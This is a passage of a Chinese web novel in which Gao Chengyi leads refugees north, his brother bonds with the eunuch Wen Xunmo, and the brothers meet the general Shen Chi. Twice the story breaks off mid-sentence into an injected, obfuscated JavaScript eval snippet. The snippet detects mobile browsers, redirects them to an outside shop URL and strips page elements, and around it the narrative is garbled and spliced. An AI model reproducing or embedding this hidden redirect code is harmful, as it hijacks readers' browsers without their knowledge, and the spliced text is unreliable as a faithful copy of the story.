温寻墨还在疑惑,可高濯衡已经有些懂哥哥的想法了。 温寻墨问:“你要养私兵?” 高承翊一笑:“哪能算私兵,都是灾民,我们一起北迁去开荒,总不能全带些老弱妇孺。” 他说的对,强壮男人才是开荒的主力。 几万甚至是十几万的北迁队伍,必定有至少一半是男人。另辟蹊径想一想,那不就相当于带着一支部队北迁嘛。 这样还害怕什么? 尤其是对会带兵的高承翊来说。 温寻墨此时也明白过来,他愣了一会儿,然后说:“你的路线图给我看看。” 高承翊问:“怎么了?” 温寻墨道:“东厂各地都有眼线,我看看你划的路线上,有没有我知道的山贼匪窝。” 和聪明人说话,甚至都不用说出口。他此前在刘具那里尝到了甜头,如今为了十几万人能顺利到达隆州,不够的粮食,只能去抢。 抢普通百姓的事他干不出来,也不能干。那就只能盯着山贼土匪了。 被温寻墨猜到了他盗贼般的想法,高承翊不好意思的咳嗽了一声,问:“那…我可以打着朝廷的名义,剿匪吗?” 都下定决心要带人一路抢去西北了,他这会儿还挺腼腆,居然征询起了温寻墨的意见。 温寻墨点头:“当然可以了,皇上问起,你就说你们被抢了,被迫反抗。有些地方是官匪勾结,有些地方则是没钱剿匪,总之山贼土匪是祸患。你这么做,帮朝廷解决了匪患,到时再看情况,给皇上进贡些东西,他不仅不会追究,甚至还会嘉奖你。游击将军,不就是干这个的嘛。不过……你有把握吗?” 万一死伤惨重,或是被贼匪联合报复,多生事端可就不好了。 十几万人都指望着他,他不能仁慈,也绝不会仁慈。 借和抢,是他如今唯二的办法。 借很慢,且要还,抢更快,不用还。 抢,他有经验。 高承翊道:“当然没有十足把握的。但我不会莽撞。” 在土匪盗贼们手上抢东西和打仗一样,是需要谋定后动,侦查敌情的。 绝不是带着一群人,去围山比力气。 温寻墨直直看着这个看似文弱的年轻人:“不是所有恶霸土匪都像刘具那样好打,越是穷的,遭了灾的地方,人为活命,就会越凶恶,那些可都是些亡命之徒。” “巧了不是。”高承翊道,“我何尝不是呢?” 高濯衡听着,将哥哥抱紧了些。 温寻墨当然瞧见了,看了一眼高濯衡问高承翊:“他呢?” 高承翊道:“我已跟皇上明说了,无论我去哪儿,都不会和衡儿分开。” “他如今是李晖昀。”温寻墨道。 高承翊不管那些:“如果皇上不让我带衡儿去隆州,大不了我到时候把北迁的人全带来朔东,赖在京郊不走了。” 高濯衡晃了晃哥哥的手。 高承翊一手抚上了高濯衡的脸颊:“你不愿意?” “怎么会,我也不想和你分开。”高濯衡眼中有些湿润,他害怕和哥哥分开,更害怕哥哥触怒了光盛帝而吃亏。 温寻墨道:“不至于,皇上是怎么跟你说的?” 高承翊道:“他说看我差事办的如何。” “哦,那即是没有完全拒绝。”温寻墨道,“燕王府不安全,皇上又不会让二公子回赵大人那,也不可能一直由我养着。” “依你这话,皇上是真的有可能让我带他走?” 温寻墨道:“我之前猜测,皇上可能会将二公子放在宫里,放在他身边养着。但这样,区别于其他小王爷,恐朝中多有猜测。毕竟,先太子虽已故,但小世子还在。” “义孙而已,朝中还能有猜测?”只有高承翊,对「义孙」丝毫不怀疑。 温寻墨不拆穿,只就表现而论:“当然了,是指给燕王当‘义’子的啊,若一直放在身边养,不就代表看重燕王吗?所以你能带走二公子的可能性,还是很大的。” 高承翊道:“皇上不想让朝中觉得,他偏向燕王?” 温寻墨道:“你可以把二公子想成一个加称的锥砝,当皇上想让朝中觉得他偏向燕王时,他就会对二公子亲近一些,当他觉得燕王太自大跋扈时,他就会疏远二公子一些。” 高承翊脸色都黑了,他的衡儿是人,不是权衡的工具。 高濯衡心里也不是很舒服,可温寻墨说的是事实。 最后,他们聊到了沈驰。 高承翊没再说什么母亲故友,只是说他们要去西北,提前跟他打听打听沈驰。 温寻墨与孟光一样,与沈驰并无交集,但也说那并非是个好相处的人。 高承翊对沈驰充满了好奇,却又对面对沈驰,非常的抗拒。 最终,他还是在离开朔东前,拜托温寻墨,给沈驰去了一封书信。 所书很简单,自报家门和北迁运粮。 就连温寻墨看了一遍都看不出什么问题,只说这种纯靠良心的帮忙,大约沈驰并不会答应,让高承翊做好做坏的打算,不要太天真。 夜里高濯衡因为舍不得和哥哥分开,怎么都睡不着,就这夜色一直盯着高承翊看。 高承翊的胡茬长得特别快,才两日而已,下巴上就覆盖了青青的一层,凑近了看,长短不一,高濯衡用脸去蹭了蹭。 硬硬的,扎在脸上有些痒。 高承翊睁开一只眼对他笑:“不怕疼吗?” 他小声说:“不疼。” 高承翊便主动用下巴去蹭弟弟的脸。 不同于高濯衡的轻蹭,高承翊是故意欺负,就没了轻重,胡茬在脸上来回刮着,高濯衡轻笑着躲:“太用力就疼了,胡茬好硬!” 高承翊一下把脸贴上了弟弟的脸颊,热热的贴着,轻柔的上下蹭了蹭,感受那软乎乎的肉脸:“真舍不得你。” “我也是…”他们俩人耳语着,“哥放心的去,我等你回来。” “嗯。” 高濯衡道:“你带着人北上了,记得给我写封信。” 高承翊道:“好。” 高濯衡道:“我到时候,就去问皇上讨父亲的骨灰。” 他没想到弟弟会与他说这个,他知道父亲的尸体在光盛帝昭告天下叛徒是周季修时,就火化了。 但皇帝一直没再提骨灰的事,也没人敢去问。 高琰便的骨灰便一直不知放在何处,也无法入土为安。 高承翊道:“拿到了又能如何,带着去西北?” “我答应了夏辛,等我长大了,就带他回抚州,回家…”高濯衡道,“到时候当然也要把父亲带回去,我们把他葬在娘亲旁边好不好?” 弟弟还不知道父母的事。 高承翊犹豫了片刻,才缓缓道:“我…一直没与你说,但我想母亲应该不会愿意和父亲葬在一起。” 高濯衡瞪着圆圆的大眼睛疑惑的看着哥哥。 高承翊道:“他们二人之事我知道的也不多,但母亲已经拿到了父亲亲笔的和离书。或许…我们该将父亲的骨灰带回冀州老家,高家宗室那边,也还有几个人…” 高濯衡愣了半天,却还是坚定的说:“父亲一生的心血都在抚州,他肯定想回抚州。” 高承翊略微思索后,也点了头,为他们想回去却回不去,但终有一日一定要回去的抚州。 “等你回来,我就带着父亲的骨灰,与你一起去隆州。”高濯衡往哥哥的怀里钻了钻,“睡吧。” 高承翊轻抚着高濯衡的背,缓缓入睡。 卯时正,高承翊、孟光带着骑兵们踏上了南下的路。 温寻墨也带着孩子回了城里。 此后,光盛帝时常叫孩子进宫一同用午膳,大多数时候都会将孩子放在宫中留一下午,晚膳天黑后才让温寻墨带孩子出宫。 高濯衡是有自己房间的,但哥哥走后他时常做噩梦,总是半夜去敲温寻墨的门。 孩子会委屈的说,原来在家时是夏辛陪他睡的,打小就没一个人躺着睡过觉,夜里好黑。 温寻墨起初会把他赶回去,十岁了还要人陪着睡,不像话。 可经不住他持之以恒的夜夜来找,被赶了两次后,高濯衡就开始玩儿赖,但凡温寻墨开门,他就抱上去,问他:“你不想知道今天皇上跟我说了什么吗?” 别说,真有些想知道。 等他略微犹豫,高濯衡就趁机爬上了他的床盖上被子,等他过去。 若他不去,孩子就会可怜巴巴的看着他,并叫他「伴伴」。 这是他在世子那边学的叫法。 余忠是陪着皇上长大的,高濯衡听过光盛帝叫余忠「余伴」,虽很少,但人少时,用膳时他都会这样叫余忠。 大伴这个称呼,仅限于陪伴皇子们长大的太监。世子可以叫他的贴身太监大伴,皇帝可以叫余忠大伴。 但高濯衡这个半路认的义孙,隔了一辈,且没有封号,深究的话,他们其实没有资格用「伴伴」去称呼温寻墨。 陪伴皇子长大,辅佐皇子登基,是从龙之功,皇子当上皇帝,大伴也会被封为内官之首的司礼监掌印。 而被高濯衡称作「伴伴」的温寻墨,是绝不可能被皇室选做当大伴的。皇帝要将他当成利刃利用殆尽,而非将他当做心腹。 可高濯衡的这声「伴伴」听在温寻墨耳中,居然让他十分受用。 他看着这个明显是为了自己的目的而装乖的小孩儿,生出了一种名为「难道我也有资格,去陪伴一个未来可能会成为皇帝的皇子成长吗?」的特殊感情。 他的腰背弯了太久了,已经忘记直起来是什么感觉了。 但很快,温寻墨便从遐想中拽回了自己的意识。 想什么呢,燕王还不一定能入局,更别提燕王义子了,「义」这一字,就代表八竿子打不着。 再说都十岁了,还要人陪着睡,太娇气了,能有什么出息? 温寻墨掐了一把高濯衡的脸:“你现在讨好卖乖叫我伴伴,等你哥回来,立马把我忘个干干净净,你这孩子蔫儿坏,真想拿把刀把你的心剖开看看,是不是黑的。” 高濯衡见他上了床,目的达成,也不去反驳他的话,毕竟太监一直这样说话狠毒的。他抱住温寻墨的手臂,拉着他一起往下躺:“咱俩躺一起,做个伴多好。反正也没人愿意和你睡一起。” “谁说的,我若真去找,还是有大把的人要爬咱家这张床的。”温寻墨把手臂给孩子当枕头,嘴上却仍旧不肯服软。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324802|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高濯衡听他自称咱家,又忍不住笑:“你装的也不像,一会儿记得说咱家,一会儿又忘记,我过来我过去的。你第一次来找我哥时,我就发现了。” 温寻墨白了他一眼。 高濯衡又道:“嗓子也是,在外头你还算记得不露馅儿,一回家,你就忘了。” “我总不能回家了,还夹着吧。”温寻墨不服气。 高濯衡道:“你不怕锦衣卫趴房顶了?” “咱们这么小声,他们也听不着。”干这事儿他是专业的,但凡真有趴房顶,躲窗户后头的,他立马能知道。 高濯衡这段日子在宫里听说了许多以前没听过的东西,有关于皇室的,太监的,官员的。 还有西北,东北那边的事。 以及他很好奇的——温寻墨。 自温寻墨去东厂后,光盛年的几个大案,都有他的参与。 抓人、审讯,还有列出连坐的名单,并在连坐的名单中,继续抓人、审讯。 高濯衡甚至没有特地去打听,就能耳闻那些恶名和骂声。 他们都说温寻墨是光盛帝手下,最会咬人的狗。他们还说温寻墨全家都被株连,他自己却为活命,当奴才当狗,是最劣等最下贱的恶人。 文官们背地里不耻于他,可表面上还得巴结他。 高濯衡没有尽信那些话,可也没有完全不信,东厂提督这个职位,若非对皇帝有大有用处的人,是坐不上去的。 高濯衡默默地看着温寻墨闭着眼睛的侧脸,突然小声问了一句:“疼吗?” 温寻墨都快睡着了,听得这两字,有些懵懂的半睁着眼睛,他还以为是孩子有哪地方疼,低头将孩子揽紧了些,问:“什么?” 高濯衡道:“受刑,半白。” 十四年了,这孩子是第一个问他疼不疼的人。 他答的淡然:“早不疼了,睡吧。” “伴伴可以告诉我的。”高濯衡道,“我不会说出去。” 过了许久,高濯衡才听得微不可闻的两字:“疼的。” 孩子抱紧了他。 温寻墨一时竟觉得怀里有高濯衡真好,两人靠在一起,他就不必那么孤独了,也似乎没那么疼了。 可是,你总要走的。有些东西一直没有也就罢了,拥有过又失去,岂不是更痛? 高濯衡用在哥哥那里学的安慰办法,给温寻墨抚着背。 他一下一下不知疲倦,以至于温寻墨觉得他若再不叫停,孩子得给他顺背顺到天亮。 “傻孩子,现在不疼了。” 却不料高濯衡道:“他为什么要这样对你?宫中有那么多的太监,都受过宫刑,你们都犯了错吗?” 温寻墨不知该怎么回答,他错了吗? 皇帝说他错了,错在嚣张跋扈,错在年少张狂。还说他家错了,错在敛财欺君,是国之蛀虫,食民膏民血的硕鼠。 所以就该全家死绝,独留他一个活着赎罪。 高濯衡道:“惩罚错误的方法有那么多,为什么要用这样的办法?” “并非所有人都犯了错,有些人,是家里太穷,为了进宫伺候,自愿的。”温寻墨跟他说了宫中内廷的二十四衙门,以及皇室为何需要那么多的内外宦官。 “内宫中,有需要男人的体力活,还不少呢。”温寻墨道,“至于外庭,没有势力,没有子嗣的太监,用起来趁手,所以…历朝历代,皇帝都离不开太监。” 高濯衡听完后,在夜里想了很久。 第二天早起时,他告诉温寻墨,一定有办法彻底根绝这项连续了千年的恶刑。 温寻墨很高兴,孩子在听完太监能帮皇室主子干那么多活之后,还会认为这是「恶行」。 他以前一直觉得高濯衡太聪明,心眼儿太多,每做一件事,都有他的目的。这种人,是他最要提防的。 可如今他又切实的感受到了这孩子的善良。 温寻墨笑着蹲下问他:“那你觉得该怎么做?” 高濯衡人小鬼大的说:“首先就是后宫里的主子太多了,皇帝应该少娶几个媳妇儿,少生点孩子,就用不上那么多人伺候了。” 温寻墨听后捧腹大笑,孩子说的很有道理。 他有意逗弄,便问高濯衡:“帝王富有四海,可以将世上所有美貌女子全搜罗进自己的后宫,环肥燕瘦各有各的美,又千娇百媚,又百依百顺。若你是皇帝,你能做到不贪图享乐,只娶一个妻子吗?” 高濯衡还没想过那些呢,小孩儿特正直的说:“当然可以了,要那么多干什么。” “真的?”温寻墨笑问:“你以后要是朝三暮四,见一个爱一个怎么办?” 高濯衡道:“怎么可能,我才不会那样呢。” 十岁的孩子也知道,爱是不会那么轻易的,只不过他不会表达出来。 高濯衡道:“必得是很喜欢很喜欢的人,才能娶回家,过一辈子的。这样的人,哪能太多呢?” 所以他不明白,为什么皇帝能有那么多的妃子,皇后不会不高兴吗? 爱当然是不易的,容易的是欲。温寻墨摸了摸孩子的头:“你说的对,枕边人必得是非他不可的唯一才行。” 温寻墨说这话的时候不曾想过,他将来会有紧紧地抱着高濯衡,怨怼他心里还装着他的大哥,他的夏辛,并祈求他怎样都行,只要不再推开他的一日。 58.当被迫离开家乡 一月后,高承翊那边进展顺利,他带着清点完毕的十一万人北上。 这其中,女人、孩子占了四万余。五十岁以上者,占两万余。 另略有残疾、体弱、身高矮小者,约三千余。 有近一半的青壮,比高承翊预想中好上很多。 赵谨亲自带人给他运送了粮食,在越州见到外甥后,赵谨没忍住抱着高承翊嚎啕大哭。 说起赵蓉,舅甥二人皆是大恸。高承翊已经算坚强的了,还是被赵谨惹出了一堆子的眼泪。 孔祥他们在高承翊来越州的第三日,就偷摸找了过来。 庄子里的稻谷已经收了一季,孔祥这个直心眼儿要跟着高承翊北上,还要把粮食全拿出来给北迁的队伍,高承翊夜里与他去山庄中清点了粮食,只带走了三分之一。 庄子里耕种的人需要吃饭,地里也要留种。 有孔祥、张廷皓、宋遥三人作表率,大部分士兵们也都愿意跟着高承翊北上,小部分有微词的,也只能从众。 最让人意外的,是庄中的女人们。邵一苇和云姝的那一帮姐妹,全都要跟着高承翊一起,不为别的,她们信任他。 尤其是妓子们,是赵蓉救了她们,作为赵蓉儿子的高承翊、高濯衡也从未嫌弃过她们。 在船上时给她们分钱,后来带她们进了庄子。 凡事对她们也皆有照应,她们觉得她们是跟着高承翊才彻底的摆脱了婊/子的身份,能过普通女人,耕种织布,操持家务的日子。 云姝郑重的询问了高承翊:“姐妹们是否是负担,是否能帮上忙,若是负担,我们就留下,在庄子里种地织布,到时候攒下了粮和钱,给你们送去。可若这一路过去,能帮上忙,我们都愿意跟你一起去。” 当然能帮上忙,他这回不是普通的迁徙,他是要将这十一万人,当成十一万大军,带去西北。 他沿路是要带着男人们和马匹,去土匪、盗贼,甚至是乡绅富户那里抢夺粮食。 前军查探,再带兵去威胁,更甚者是要见血的掠夺。 后勤便要扎营,做饭,采买,照顾伤员、清洗缝补衣裳… 这些女子都能做。 邵一苇更是有用,她懂医术,这一路上不可能没人生病和受伤,高承翊需要军医。 高承翊让她编一个卫生队,搜罗了些稍懂医理,能可照顾伤员的女人、孩子,让邵一苇教他们熬药、包扎,清洗伤口。 邵一苇弄了一头驴子,每日在高承翊强行化出的中军后军、左翼右翼间巡查。 她将所有编队分成60人一组的小班,每一班派1-2名卫生队成员,她称‘卫生员’负责。她规定卫生员除去观察队伍中百姓身体状况,小伤口的包扎外,最大的职责是督促或带领百姓「喝熟水」。 于是但凡扎营,孩子们就结伴出去拾柴火,女人们搭架子,烧热水。 因为邵一苇说,一大半的病都来源于喝生水。若要保证北迁顺利,所有人都必须备上水壶,喝干净的熟水。 拾柴这种事,在有山林的地方,是比较简单的,虽说多处山林是有主的,但那些地主并不敢公然和他们这乌泱泱的一大片人叫板。 不同于会抢劫民户的兵痞,高承翊带的人全是普通百姓,他将男女老幼各自分开,列营分队。 老人孩子女人是不会主动去抢沿途百姓粮食的。 男人们则被他以行军的方式管理,不允许随意出队列。他将山庄中的那一千兵分散开,去管理训练,带领着这些从未接触过兵器的庄户儿郎。 行军的途中,还要教他们刀法、拳法。 队伍中有高承翊做表率和监管,可说是‘军纪严明’。 他不让手下的‘兵’去抢,也会特地绕过百姓的田亩,但他会带着人,去沿途的州府要粮。 南方的地方官们绝大多数和高琰都有过交集,虽对他们没有避之不及那么夸张,但都不想和高承翊有什么牵扯。 他将那么多人带过来,那些官员为了赶紧让他们走,都会匀给他们一些粮食,高承翊管这叫「要饭」,很贴切。 遇上仁义些的,给的多些。遇上哭穷的,高承翊也不多说什么,出城多砍上几座山的树,也就算了。 他其实有许多无赖的方法可以用,但教养和自尊让他无法做的太绝。 再便是他一早就计划的‘剿匪’,温寻墨提供的方位十分准确,一些小山匪较好对付,有些出乎意料的有钱,可大多数是不富裕的。 不过于高承翊而言,有粮食拿是好事,没有粮食,能收些青壮编入军中,带去隆州种地,也是好事,都不亏本。 遇上类似于刘具那种有田亩的,还能就地将老弱,走不动的百姓安置下来,而那些田庄,自然也会被他记下,与越州的山庄一样,被他视作自己的据点和资产。 他骑兵、步兵全都有,加之善用兵法,几番下来在‘剿匪’这一途,未尝败绩。 打了几次胜仗,抢了些银钱,每日能吃饱饭,士兵们还能吃上肉,军中士气一下子就涨了起来,原本一个个因背井离乡垂头丧气的「灾民们」,心中都燃起了些希望。 大伙逐渐开始相信,跟着高承翊去隆州后,他们就能过上有地种,有饱饭吃的安定日子。 高承翊并未将所有人堆在一起,在唐家的船运来第一批粮食时,他就让颇懂地形、地质的张廷皓和善于交涉,能识文断字的宋遥,带人跟船北上,先行一步去往隆州。 查看他们被分到的地,以及弄清楚有些什么‘邻居’。 接着每一次的粮船,他都会让稍带些人北上。 行走速度会自然的分隔出体质较好,脚程较快的人,和体质较弱,走不动的人。邵一苇组织的卫生员队伍,能有效的照顾到体弱者,可以走得慢,但不会被放弃。 而高承翊自己,则带着骑兵,游走绕行探查地形以及巡视队伍。 就在一切都按高承翊的计划进行时,张廷皓传信所书有关隆州那片地的消息,却让他如坠冰窟。 张廷皓信中说,现存能可耕种之地,不足十分之一。 按他计算来看,一年丰收,粮食仅够养活三万人。 当然可以在开春后全力开荒,但开春必然会冲出河道的「将军河」、被河水浸透的湿地,浸泡形成的沼泽、和沼泽里遍地的塔头全是他们开垦田亩的阻碍。 不过张廷皓的信中也有好消息。 「戍边卫愿意让给他们一片东北方开垦了一半的军屯,地方很大,且那块地如今还在开垦,春季可以直接耕种。抚州过去的灾民,可以和军户们居住在一起,向他们讨教耕种事宜。」 信中张廷皓也写了他的顾虑,他不明白为何戍边卫会那么轻易的接纳他们,还给了他们那么大的一片可耕种,不会被将军河淹到的地,着实让人存疑。 可如今又不得不要。他担忧等到秋收后,军营的人会找借口将他们的粮食全收走,他提醒高承翊要谨慎提防,并询问高承翊是否还有其他办法。 军中新垦的田亩,按理说是要向上报备的,但隆州那边比较复杂,沈驰肯定有他隐瞒田亩的方法。 毕竟将军河总是在春天破冰后改道,关外的鞑子又时常来犯,他只需说垦出的田被淹了或被鞑子的马踩了,皇帝是不会怀疑的。 西北边防少问他要些粮要些饷,就已经是天大的好事了。 沈驰之所以受光盛帝器重,除了他无派系依仗,又在隆州常打胜仗外,还因为他募兵驻防却减少了军需。 他养马,屯田,除了修工事和添铁器、火器外,几乎很少问京中伸手要粮。不仅如此,过年还想着给皇上送去些西北的山货,虎皮、熊皮,野味、山参… 这让在「军」这一字上总出付出钱财,谨慎提防,却不见回报的光盛帝,见着了一次回头钱。 吃了野味,摸着虎皮,当然念着沈驰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他带他们往北走,用尽浑身解数,想给他们一个家。 高承翊突然明白了光盛帝的忌惮,戍边卫虽有兵,但这些兵是皇帝的兵,并非沈驰一人之令就能调动全部。他带人去打鞑子,将士们跟着他去,是为建功立业,拿军功拿赏钱。 可他若带人去造反,傻子才跟他一起。 戍边卫是大渊的军队,就算不是沈驰当将,换成别的将领,对大多数的士兵来说,也是一样的。 就像抚州的军队,跟着高琰打仗,后来换成周季修,他们也是这样打,换成太子,换成燕王,同样。 可他的这十万人不同,这些全是他的乡亲。 他们因为信任高承翊,才答应的北迁,又因为跟着高承翊,才能在北迁中活下来,在隆州有地可种。 其中的败兵们,甚至还期盼着高承翊能带着他们打回抚州。 他们对朝廷,对皇帝没有期待。他们不会想着为大渊朝建功立业。 因为他们是一群想回家,却因皇帝和朝廷,离家万里的人。 当一个人被迫远离了家乡,那对这个人来说,今后的任何事,都没有回家重要。 这十万人,是和高承翊一条心的。 他合上账册,闭上眼睛。 的确,皇帝该防着我。 沈驰绝不会想这些,可我会。 那样一个充满猜忌又善于谋略的帝王,最擅长的就是看穿他坐下所有人的隐秘心思,然后恰如其分的物尽其用。 他从坐上皇位的那一天,就开始算计。 把朝堂、百官、户部、内库,算得明明白白。 高承翊,呵,黄口小儿,还玩儿不过他。 59.他是你母亲的表弟? 北上的路还在继续,队伍中一切照常。 往北后,能在地方官手中讨来的粮米越来越少,山也多有荒芜。 但交给唐家船队运送的粮食都可准时运到,有孟光帮衬,高承翊带兵离开队伍剿匪,也十分放心。 眼看入秋后天气越来越冷,冀州送来了一批棉衣。 出乎意外的,光盛帝也为他们筹措了不少御寒冬衣。 高承翊想,大约是因为他给光盛帝上的三本奏疏。 第一本,为启程后所书,上边详细阐述了,他为这十一万人北迁所定的全部计划,包括向冀州借粮、笠安借粮。如何分区,行走路线和途中所需要注意的事项。 但把请斛州唐家航船为他运粮,说成是众人筹措出的运费。 第二本,是在第二次清扫土匪山寨后,他给光盛帝上疏说,途中遇上了山匪。他谨记游击将军之责,带人进山剿匪。并将所缴获物品向皇上报备,请皇上准允他将缴获物资充作北迁路费。 并列出了给了他粮食的州府,官员姓名,大赞他们高义之举。 最后,告诉光盛帝连日来有灾民因不耐暑热病倒,无法行走,拖慢了队伍行程。他无奈只得带着走得快的人先走。路程才开始一月,已经有不少人累死。 剿匪虽有所获,但也死伤颇多。 他很担心,等到了隆州,这些人还能剩下多少。 并请朝廷为他们筹措冬衣。 第三本,是在半月前。与前两本所书类似,但加重了讨要冬衣的篇幅。 装可怜和示弱还是有效果的,即使皇帝有多不想搭理他,也不能当着满朝文武和天下人做的太绝。 高承翊到京郊时,已经是隆冬了。 他带着队伍职责在身,没有皇命也不能大摇大摆的进城,却着实想念弟弟。 本想只身骑马,趁宵禁前进城,去探望高濯衡。 大渊的宵禁,是只关城门,不禁夜市的。每日亥时正关门,卯时正开门。 城中繁华街区的店铺酒楼多有通宵达旦。 却不想他还没去,弟弟就自己找上了门。 送他来的是光盛帝指派的几个官员,理由也十分简单,虽是义皇孙,但李晖昀自小跟随高氏父子长大,如今尚年幼,圣上不忍其与兄长分离,便特开恩典,让皇孙随行北迁。 同时,身负巡查西北各州县与涸东各地之职,并于年底前一并将西北与涸东两地岁贡,带入京城。 把弟弟还他了,但没全还。 西北各州县和涸东各地,已经能算是朔东以北的整个北方地区了。 他让一个十岁的孩子去巡查,还要带着所巡岁贡进京。一圈走下来,短则四五个月,长则八九个月,进京后至少还得留一个月复命。如此一来,一年到头,能待在隆州和他在一起的日子,最多不过小半年。 高承翊将弟弟放在腿上抱在怀里,双手却将书有旨意的卷轴,反反复复看了十几遍。 高濯衡看着他哥眉头紧锁,又带着些焦躁的脸问:“找什么呢?” “封号呢?”高承翊道,“让你干活,连个封号都不给?” 高濯衡哪知道那些,能跟哥哥在一起,他高兴得三天都没睡着觉,此时听高承翊这么问,也有些懵:“那是什么?温寻墨没跟我说啊。” “他让我北迁,还给我封了个杂牌将军呢。”高承翊道,“他让你巡查北边,还要收运岁贡,却连个封号都没给你,只用义皇孙这三个字,拿脸皮去收岁贡?” 高承翊觉得,再怎么样,也得封个郡王,郡公。 高濯衡点了点高承翊手上的圣旨:“用这个?” 高承翊望着他。 高濯衡搂住了哥哥的脖颈,笑得十分天真:“他说很简单的,岁贡是准备好的,我去玩儿一圈,再指几个人给运回去就行。” “谁…说的?” 高濯衡:“皇爷。” 堂堂皇爷,小孩儿都骗,什么意思? 高濯衡又问:“那温寻墨呢?怎么连个帮手都不给你派?” 温寻墨要是跟着,他也能放心。 高濯衡道:“皇爷让他去南边儿督军了,昨天走的。” “督谁的军?” 高濯衡道:“燕王。” 光盛帝倒也不是一个帮手都没给他,给了俩,一个司礼监的太监,是余忠的干儿子,叫余福,二十出头。一个户科的都给事中,可以帮着他算钱管账,叫许崇,今年三十有一。 高承翊认为这两个人只是光盛帝的眼线,并不会真心实意帮着高濯衡。 北巡这一路上土匪山贼就有不少,虽说高濯衡出去肯定都住的驿站,走的官道,但不带一队兵,没准就遇上不长眼的来抢劫。 收岁贡绝非对着单子照收这样简单的事,要查验,看是否存在空有其表、以次充好者。还要和各地的地方官、乡绅大族打交道。 西北一线至涸东,这些地方的人,哪是他一个十岁的孩童能可对付得了的。 “你还笑得出来。”高承翊捏了把孩子的脸蛋儿。 高濯衡笑道:“他既然交给我,没准就不怕我搞砸呢。” 高承翊道:“话虽如此,可还是要谨慎些。万一他抓着错漏不放,又使什么花招折腾我们怎么办…” 高濯衡也不知道该怎么办,他往大哥怀里一靠:“不知道,现在不想那么多。”他又伸手绕去高承翊的脑后,摸大哥的头发,勾来一小撮,用指腹轻轻搓捻着。 “第一年或许做不好,但多来几次,我总能做得好的。”高濯衡道,“反正我不想待在宫里,温寻墨也被他支开了…成日跟着皇爷,读奏疏给他听,闷死了。小世子也烦人,跟在我后头,我总要装出愿意跟他玩的模样。” “他让你读奏疏给他听?” “他上了年纪,案牍劳神,到了下午,眼睛就会发酸,勉强睁开会淌眼泪。奏疏都是小太监们给他读的,一人读一小段。”高濯衡道,“他不太防着我,我得读整整一下午,可太累了,还不如防着我呢。你的折子也是我读的,他朝我抱怨,说你只会跟他哭穷。我说,你是真穷啊。” 被弟弟说穷,他挺不好意思的。 “他是怎么同意你过来的?”高承翊问。 高濯衡道:“不知道,可能他突然想通了吧,我又不是他真的亲孙子,小世子才是呢。” 但其实不然,原本光盛帝是不打算让他离开的。高濯衡装了两天的病,躺床上昏睡,让光盛帝以为他被人下了毒。 他能想到这主意,是因为温寻墨告诉他,燕王府的孩子只要不是王妃生的,都活不长。 光盛帝原本就有此顾虑,想来想去,还是放去高承翊那边安全,毕竟高承翊也强硬的问他讨了人。 夜已经深了,他们还有很长的路要走,高承翊又能抱着弟弟好眠了。 孟光一直愁着人手不足,十几万人的队伍,每天要记录整理的东西非常多,他不会放过任何一个认字的人。 于是高濯衡带来的太监余福,都给事中许崇,都被孟光派了工作。 就连高濯衡都跟在后头学着记账,算账。 孟光发现这孩子对账目十分敏锐,记得快,算的准,一点儿不输给大人。 有这样一个小帮手,孟光的担子一下子轻了许多,听说他明年要北巡收岁贡,也吓到一大跳。 孟光本就是个爱操心的人,听闻这事后,每日还要挤着零碎的时间,给高濯衡又讲又写,列了一堆子要注意查验的事物。 路途上,高濯衡看邵一苇骑着小毛驴,比高承翊都闲不了多少,听了卫生队的事后,不住赞叹着:“邵姐姐真厉害。” 后来他们到了隆州,初初安定下来后,孟光才惊觉这孩子每日都不读书。 他们是光盛三十六年一月到的隆州。因速度快慢,队伍自然的拉成了先后五股。 直到光盛三十六年五月,才全部到达。 沿途安置了近两万人,新编入军五百人。没走到,病死途中的,也有一万余人。 北迁后,最终清点迁至隆州的人数,为八万六千八百三十九人。 没了温寻墨,读书这方面,高濯衡彻底撂了挑子,北迁途中高承翊忙到根本没空管他有没有读书,他每日天不亮就起来,夜里回帐后,还要跟孟光算粮,算路。 一切结束后,已经是深夜,除了抱着二宝睡一觉,就什么都想不起来了。 到了隆州后,他也不闲。 因为要新建屋舍和丈量田亩,开春要种什么,怎么种都是事儿。 当然,还见到了那个男人——沈驰。 那是高承翊到玉岱山脚下的头一个月。 二月初春,是水面似乎开始解冻的时候。高承翊骑着马,身前还坐着被他用大氅裹严实的高濯衡。 张廷皓和宋遥也在,带着他们去看了戍边卫给的那片地。 他们一行人正要回去,迎面撞上了骑马来的沈驰。 他身后还带了个三十多人的小队,没有带旗,没有穿甲,穿着件墨色的皮子,戴着北方常见的皮毛帽子,领巾将他的脸盖住,只露出了一双深邃的眼睛。 头顶盘着几只鹰,他的马停下后,一只白色的海东青,就落在了他肩头。 高承翊是没见过沈驰的,只知道年纪比母亲小八岁,高矮胖瘦一律不知。可刚刚他仅凭那双眼睛和他的直觉,就认出了沈驰。 高承翊看着沈驰,心道:还挺威风的。 沈驰认出了高濯衡腰上的刀,是他送给赵蓉的那一把。 两队人面对面瞧着,高承翊听沈驰道:“外头风大,随我进屋说话。” 他说完调转马头带路先行。 高濯衡问:“他是谁呀?” 宋遥和张廷皓都认得他。 宋遥道:“西北最大的官儿。” 高濯衡道:“看着也不像是个官儿啊?” 宋遥打马靠近他,玩笑的轻敲了一下孩子的头:“什么样儿的才像个官?” 最大的官,是巡抚,巡抚上头是总督。 高濯衡问:“他也是总督吗?” 宋遥道:“是戍边卫都指挥使,手上有二十多万的兵呢。” “二十多万?”高濯衡瞪大了眼睛。 